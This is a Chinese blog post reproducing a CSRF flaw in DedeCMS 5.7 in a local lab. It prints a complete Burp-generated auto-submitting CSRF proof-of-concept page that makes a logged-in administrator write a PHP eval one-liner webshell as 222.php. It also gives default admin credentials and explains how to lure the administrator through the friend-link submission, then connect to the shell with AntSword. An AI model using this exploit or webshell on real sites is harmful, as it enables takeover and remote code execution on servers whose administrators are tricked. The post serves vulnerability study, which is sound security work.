DedeCMS织梦5.7--CSRF漏洞复现

dedecms前端底部存在【友情链接--申请加入】功能入口,提交的链接会进入后端【模块--友情链接】的待审列表。如果该流程缺乏安全校验,可能被用于 CSRF 诱导链------若攻击者提交一个指向CSRF POC页面的链接,当管理员在已登录状态下访问该链接,是否可能触发后台危险操作?


将5.7版本的dedecms部署到本地phpstudy的www目录下

我在网上找了好久的这个版本的dedecms,在这里分享出来,大家可以直接下载

通过网盘分享的文件:dedecms.zip

https://pan.baidu.com/s/12Pp6xheQ7tFekoAjUOIFGw

提取码: j2e6

默认后台登录路径:拼接dede,进入后台,可以直观地看到我们文件的操作

默认管理员的用户名和密码都是admin

左侧核心--文件式管理器--新建文件

写入一句话木马

bp抓包,抓保存时的包,可以看到包中含有刚刚写入文件的木马

然后生成poc用于验证是否含有csrf

复制生成的HTML,在桌面新建一个.html文件,粘贴进去

复制代码
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://127.0.0.1/dedecms/uploads/dede/file_manage_control.php" method="POST">
      <input type="hidden" name="fmdo" value="edit" />
      <input type="hidden" name="backurl" value="" />
      <input type="hidden" name="activepath" value="&#47;dedecms&#47;uploads&#47;uploads" />
      <input type="hidden" name="filename" value="222&#46;php" />
      <input type="hidden" name="str" value="&lt;&#63;php&#32;&#64;eval&#40;&#36;&#95;REQUEST&#91;'123'&#93;&#41;&#59;&#63;&gt;" />
      <input type="hidden" name="B1" value="&#32;&#32;ä&#191;&#157;&#32;å&#173;&#152;&#32;&#32;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

将这里文件名改为222,便于和我们新建文件时上传的muma.php文件进行区分

回到dedecms,可以看到我们bp将包放掉后muma.php文件就上传成功了

打开上面创建的.html,点击submit request

登陆进去,得到此url

模块--友情链接--增加链接

将得到的url填入网址栏,提交

点击新建的链接,会有报错但不用管

回到自己创建的写有poc的网页,点击浏览器左上角向左回退的箭头,退到submit request页面,再次点击,发现从poc的222.php文件上传成功了

回到原网站,刷新,222.php文件也上传成功

说明该网页存在csrf

(注:如果写入poc的html页面登录进去没有222.php文件,浏览器左上角箭头回退到submit request再登录多试两次,或者从抓包开始到这步重复两次222.php文件就有了,本人也是重复了好几遍,感觉应该是网站的问题)

蚁剑成功连接,说明木马写入成功

或者访问222.php文件,并且传参phpinfo,成功,也说明木马写入成功

相关推荐
lichenyang45312 小时前
鸿蒙聊天 Demo 练习 02:AI 回复打字机输出与 ForEach 刷新问题
前端
Hello--_--World12 小时前
利用CDN进行首屏优化。能不能看CDN与本地服务器谁快用谁?
运维·服务器·前端·javascript·vite
猫不易12 小时前
在 Warp + tmux 下使用 Claude Code:一次剪贴板踩坑记录
前端
sa1002712 小时前
京东评论 API 实战:JSON 数据结构、字段含义与解析技巧
前端·数据结构·json
snow@li12 小时前
前端:MVP 深度全解 / 从核心理念到实战落地
前端
vennnnnnnnnnnnnn12 小时前
Excel 导入原文保留与内联排名配置问题复盘
前端·数据库·excel
玛丽莲茼蒿12 小时前
记录java后端一点点转全栈(前端)
前端
暗冰ཏོ12 小时前
2026前端开发全景指南:技术栈、100道面试题、AI趋势与职业规划
前端·面试·ai编程·前端面试题·前端行业规划
jiayong2312 小时前
前端面试题库 - Vue框架篇
前端·vue.js·面试
孟陬13 小时前
一个小小 alias,提升开发幸福感
前端·后端·命令行